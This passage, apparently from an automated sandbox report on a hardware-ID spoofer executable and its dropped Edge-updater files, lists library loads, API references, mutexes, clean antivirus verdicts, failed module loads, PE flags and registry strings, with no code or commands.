"MicrosoftEdgeUpdateComRegisterShell64.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006152) "MicrosoftEdgeUpdateComRegisterShell64.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006152) "MicrosoftEdgeUpdateComRegisterShell64.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\psmachine_64.dll (UID: 00000000-00006152) "MicrosoftEdgeUpdateComRegisterShell64.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00006152) "MicrosoftEdgeUpdateComRegisterShell64.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00006152) "MicrosoftEdgeUpdateComRegisterShell64.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\MDMRegistration.dll (UID: 00000000-00001176) "MicrosoftEdgeUpdateComRegisterShell64.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\NetApi32.dll (UID: 00000000-00001176) "MicrosoftEdgeUpdateComRegisterShell64.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001176) "MicrosoftEdgeUpdateComRegisterShell64.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001176) "MicrosoftEdgeUpdateComRegisterShell64.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\psmachine_64.dll (UID: 00000000-00001176) "MicrosoftEdgeUpdateComRegisterShell64.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00001176) "MicrosoftEdgeUpdateComRegisterShell64.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00001176) "MicrosoftEdgeUpdateComRegisterShell64.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\MDMRegistration.dll (UID: 00000000-00005284) "MicrosoftEdgeUpdateComRegisterShell64.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\NetApi32.dll (UID: 00000000-00005284) "MicrosoftEdgeUpdateComRegisterShell64.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005284) "MicrosoftEdgeUpdateComRegisterShell64.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005284) "MicrosoftEdgeUpdateComRegisterShell64.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\psmachine_64.dll (UID: 00000000-00005284) "MicrosoftEdgeUpdateComRegisterShell64.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00005284) "MicrosoftEdgeUpdateComRegisterShell64.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00005284) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007636) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007636) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007636) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00007636) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007636) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007636) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00007636) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00007636) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00007636) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007636) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\msedgeupdate.dll (UID: 00000000-00007636) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007636) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\MDMRegistration.dll (UID: 00000000-00007636) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\NetApi32.dll (UID: 00000000-00007636) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter netapi32.dll (UID: 00000000-00007636) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007636) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007636) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007592) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007592) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007592) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00007592) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007592) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007592) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00007592) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00007592) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00007592) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007592) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\msedgeupdate.dll (UID: 00000000-00007592) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007592)3b:T53d,Found reference to API "FindResourceW" (Indicator: "FindResource"; File: "Sexsoldier Spoofer.exe") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "Sexsoldier Spoofer.exe") Found reference to API "LockResource" (Indicator: "LockResource"; File: "Sexsoldier Spoofer.exe") Found reference to API "FindResourceExW" (Indicator: "FindResource"; File: "Sexsoldier Spoofer.exe") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "Sexsoldier Spoofer.exe") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "Sexsoldier Spoofer.exe") Found reference to API "FindResourceExW" (Indicator: "FindResource"; Source: "00000000-00002136.00000000.136196.00EE1000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00002136.00000000.136196.00EE1000.00000002.mdmp, 00000000-00002136.00000000.136196.70865000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00002136.00000000.136196.70865000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00002136.00000000.136196.70865000.00000002.mdmp") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00002136.00000000.136196.70865000.00000002.mdmp")3c:T81e,"msedgeupdate.dll" contains export function called "DllEntry" at ordinal 1 "psuser_64.dll" contains export function called "DllCanUnloadNow" at ordinal 1 "psuser_64.dll" contains export function called "DllGetClassObject" at ordinal 2 "psuser_64.dll" contains export function called "DllRegisterServer" at ordinal 3 "psuser_64.dll" contains export function called "DllUnregisterServer" at ordinal 4 "psmachine_64.dll" contains export function called "DllCanUnloadNow" at ordinal 1 "psmachine_64.dll" contains export function called "DllGetClassObject" at ordinal 2 "psmachine_64.dll" contains export function called "DllRegisterServer" at ordinal 3 "psmachine_64.dll" contains export function called "DllUnregisterServer" at ordinal 4 "psmachine_arm64.dll" contains export function called "DllCanUnloadNow" at ordinal 1 "psmachine_arm64.dll" contains export function called "DllGetClassObject" at ordinal 2 "psmachine_arm64.dll" contains export function called "DllRegisterServer" at ordinal 3 "psmachine_arm64.dll" contains export function called "DllUnregisterServer" at ordinal 4 "psuser_arm64.dll" contains export function called "DllCanUnloadNow" at ordinal 1 "psuser_arm64.dll" contains export function called "DllGetClassObject" at ordinal 2 "psuser_arm64.dll" contains export function called "DllRegisterServer" at ordinal 3 "psuser_arm64.dll" contains export function called "DllUnregisterServer" at ordinal 4 "psmachine.dll" contains export function called "DllCanUnloadNow" at ordinal 1 "psmachine.dll" contains export function called "DllGetClassObject" at ordinal 2 "psmachine.dll" contains export function called "DllRegisterServer" at ordinal 3 "psmachine.dll" contains export function called "DllUnregisterServer" at ordinal 4 "psuser.dll" contains export function called "DllCanUnloadNow" at ordinal 1 "psuser.dll" contains export function called "DllGetClassObject" at ordinal 2 "psuser.dll" contains export function called "DllRegisterServer" at ordinal 3 "psuser.dll" contains export function called "DllUnregisterServer" at ordinal 43d:T8e3,Process SexsoldierSpoofer.exe created mutex with name "\BaseNamedObjects\CLR_PerfMon_WrapMutex" Process conhost.exe created mutex with name "\BaseNamedObjects\CLR_PerfMon_WrapMutex" Process conhost.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4224:168:WilStaging_02" Process conhost.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4224:168:WilStaging_02" Process conhost.exe created mutex with name "SM0:4224:168:WilStaging_02" Process conhost.exe created mutex with name "Local\SM0:4224:168:WilStaging_02" Process RPZ-HWID.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7748:304:WilStaging_02" Process RPZ-HWID.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7748:304:WilStaging_02" Process RPZ-HWID.exe created mutex with name "Local\SM0:7748:304:WilStaging_02" Process RPZ-HWID.exe created mutex with name "SM0:7748:304:WilStaging_02" Process svchost.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4952:168:WilStaging_02" Process svchost.exe created mutex with name "SM0:4952:168:WilStaging_02" Process svchost.exe created mutex with name "\BaseNamedObjects\WEBR_3G1ZQTX9V97Z" Process svchost.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:3232:168:WilStaging_02" Process svchost.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:3232:64:WilError_01" Process svchost.exe created mutex with name "\BaseNamedObjects\SyncRootManager" Process svchost.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:3232:64:WilError_01" Process svchost.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process svchost.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process svchost.exe created mutex with name "Local\SM0:3232:168:WilStaging_02" Process svchost.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process svchost.exe created mutex with name "Local\SM0:3232:64:WilError_01" Process svchost.exe created mutex with name "SM0:3232:168:WilStaging_02" Process svchost.exe created mutex with name "Local\ZonesCacheCounterMutex" Process svchost.exe created mutex with name "SM0:3232:64:WilError_01"3e:T9e3,Antivirus vendors marked dropped file "msedgeupdate.dll" as clean (type is "PE32 executable for MS Windows 5.01 (DLL) Intel i386 6 sections"), Antivirus vendors marked dropped file "MicrosoftEdgeWebview2Setup.exe" as clean (type is "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"), Antivirus vendors marked dropped file "psuser_64.dll" as clean (type is "PE32+ executable for MS Windows 5.02 (DLL) x86-64 9 sections"), Antivirus vendors marked dropped file "psmachine_64.dll" as clean (type is "PE32+ executable for MS Windows 5.02 (DLL) x86-64 9 sections"), Antivirus vendors marked dropped file "psmachine_arm64.dll" as clean (type is "PE32+ executable for MS Windows 10.00 (DLL) ARM64 8 sections"), Antivirus vendors marked dropped file "psuser_arm64.dll" as clean (type is "PE32+ executable for MS Windows 10.00 (DLL) ARM64 8 sections"), Antivirus vendors marked dropped file "psmachine.dll" as clean (type is "PE32 executable for MS Windows 5.01 (DLL) Intel i386 7 sections"), Antivirus vendors marked dropped file "psuser.dll" as clean (type is "PE32 executable for MS Windows 5.01 (DLL) Intel i386 7 sections"), Antivirus vendors marked dropped file "MicrosoftEdgeUpdateCore.exe" as clean (type is "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"), Antivirus vendors marked dropped file "MicrosoftEdgeUpdateComRegisterShell64.exe" as clean (type is "PE32+ executable for MS Windows 5.02 (GUI) x86-64 8 sections"), Antivirus vendors marked dropped file "MicrosoftEdgeUpdate.exe" as clean (type is "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"), Antivirus vendors marked dropped file "MicrosoftEdgeComRegisterShellARM64.exe" as clean (type is "PE32+ executable for MS Windows 10.00 (GUI) ARM64 7 sections"), Antivirus vendors marked dropped file "RPZ-HWID.exe" as clean (type is "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"), Antivirus vendors marked dropped file "MicrosoftEdgeUpdateBroker.exe" as clean (type is "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"), Antivirus vendors marked dropped file "MicrosoftEdgeUpdateOnDemand.exe" as clean (type is "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"), Antivirus vendors marked dropped file "RPZ-HWID.dll" as clean (type is "PE32 executable for MS Windows 4.00 (console) Intel i386 Mono/.Net assembly 3 sections"), Antivirus vendors marked dropped file "msedgeupdateres_el.dll" as clean (type is "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections")3f:T1c19,"SexsoldierSpoofer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "SexsoldierSpoofer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "SexsoldierSpoofer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "SexsoldierSpoofer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "conhost.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "conhost.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "conhost.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "conhost.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "svchost.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "svchost.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "svchost.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "svchost.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135]40:T10d9,"Sexsoldier Spoofer.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "lsass.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "msedgeupdate.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "svchost.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "svchost.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "MicrosoftEdgeWebview2Setup.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "psuser_64.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "psmachine_64.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "psmachine_arm64.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "psuser_arm64.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "psmachine.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "psuser.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "MicrosoftEdgeUpdateCore.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "MicrosoftEdgeUpdateComRegisterShell64.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "MicrosoftEdgeUpdate.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "MicrosoftEdgeComRegisterShellARM64.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "RPZ-HWID.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "MicrosoftEdgeUpdateBroker.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "MicrosoftEdgeUpdateOnDemand.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "RPZ-HWID.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "msedgeupdateres_el.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_GUARD_CF "msedgeupdateres_ml.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_GUARD_CF41:T59d1,"HKLM\Software\Microsoft\EdgeUpdateDev\" in Source: 00000000-00001176.00000000.139164.7DA40000.00000004.mdmp "Software\Microsoft\EdgeUpdateDev\" in Source: 00000000-00001176.00000000.139164.7DA40000.00000004.mdmp "\REGISTRY\MACHINE\Software\WOW643~" in Source: 00000000-00001176.00000000.139164.7DA40000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00002136.00000000.136196.00ED1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00002136.00000000.136196.00ED1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00002136.00000000.136196.00ED1000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00002136.00000000.136196.00ED1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00002136.00000000.136196.00ED1000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00002136.00000000.136196.00ED1000.00000020.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002136.00000000.136196.03050000.00000004.mdmp ":\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9E175B6D-F52A-11D8-B9A" in Source: 00000000-00002136.00000000.136196.03050000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002136.00000000.136196.03050000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 